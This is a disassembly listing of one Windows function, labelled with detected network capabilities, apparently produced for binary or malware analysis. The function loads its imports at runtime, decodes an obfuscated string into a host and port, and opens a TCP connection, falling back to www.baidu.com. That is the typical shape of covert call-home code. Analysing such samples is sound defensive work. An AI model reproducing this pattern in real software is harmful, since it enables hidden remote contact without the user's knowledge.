Function at 0x401c64
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push ebx
push esi
mov esi, 0x407164
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push 0x407180
push esi
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x407188
push esi
mov dword [ebp - 4], eax
call ebx
push eax
call edi
cmp dword [0x407464], 0
mov dword [ebp - 8], eax
jne 0x401e1a
lea edi, [ebp - 0xd7]
and byte [ebp - 0xd8], 0
xor eax, eax
push 0x1f
pop ecx
push str.3d3d3R3m1h3c0eQJEhYQFxRD
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call fcn.004018f0
lea edx, [ebp - 0xd8]
or ecx, 0xffffffff
mov edi, eax
not ecx
mov ebx, ecx
xor eax, eax
repne scasb al, byte es:[edi]
sub edi, ecx
lea eax, [ebp - 0xd8]
mov esi, edi
shr ecx, 2
mov edi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
mov ebx, 0x4074ec
sub esp, 0xfffffff4
or eax, eax
je 0x401e03
xor eax, eax
mov edi, ebx
push 0x20
pop ecx
rep stosd dword es:[edi], eax
lea eax, [ebp - 0xd8]
push esi
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
push eax
lea eax, [ebp - 0xd8]
push eax
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
sub esp, 0xffffffec
cmp dword [0x40777c], 1
jne 0x401ddf
lea edi, [ebp - 0x57]
and byte [ebp - 0x58], 0
push 0xf
pop ecx
push 0xa
xor eax, eax
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x58]
push eax
call fcn.00401bc2
lea edx, [ebp - 0x58]
xor eax, eax
pop esi
mov edi, 0x4077d4
pop ecx
or ecx, 0xffffffff
not ecx
repne scasb al, byte es:[edi]
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
lea edx, [ebp - 0x58]
rep movsb byte es:[edi], byte [esi]
mov edi, ebx
or ecx, 0xffffffff
not ecx
repne scasb al, byte es:[edi]
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
mov ecx, edx
repne scasb al, byte es:[edi]
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
or ecx, 0xffffffff
not ecx
lea edi, [ebp - 0x58]
repne scasb al, byte es:[edi]
sub edi, ecx
mov eax, ecx
mov esi, edi
shr ecx, 2
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, 0x4077d8
push esi
lea eax, [ebp - 0xd8]
push eax
call dword [sym.imp.MSVCRT.dll_strcspn]
lea eax, [ebp + eax - 0xd7]
push eax
call dword [sym.imp.MSVCRT.dll_atoi]
mov dword [0x40756c], eax
add esp, 0xc
mov ax, word [0x40756c]
mov word [ebp - 0x18], 2
push eax
call dword [ebp - 4]
mov word [ebp - 0x16], ax
push ebx
jmp 0x401e2e
push 0x50
mov word [ebp - 0x18], 2
call dword [ebp - 4]
mov word [ebp - 0x16], ax
push str.www.baidu.com
call fcn.00403b30
pop ecx
mov dword [ebp - 0x14], eax
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
push 0x10
lea eax, [ebp - 0x18]
push eax
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x401e60
push ebx
call dword [ebp - 8]
or eax, 0xffffffff
jmp 0x401e62
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret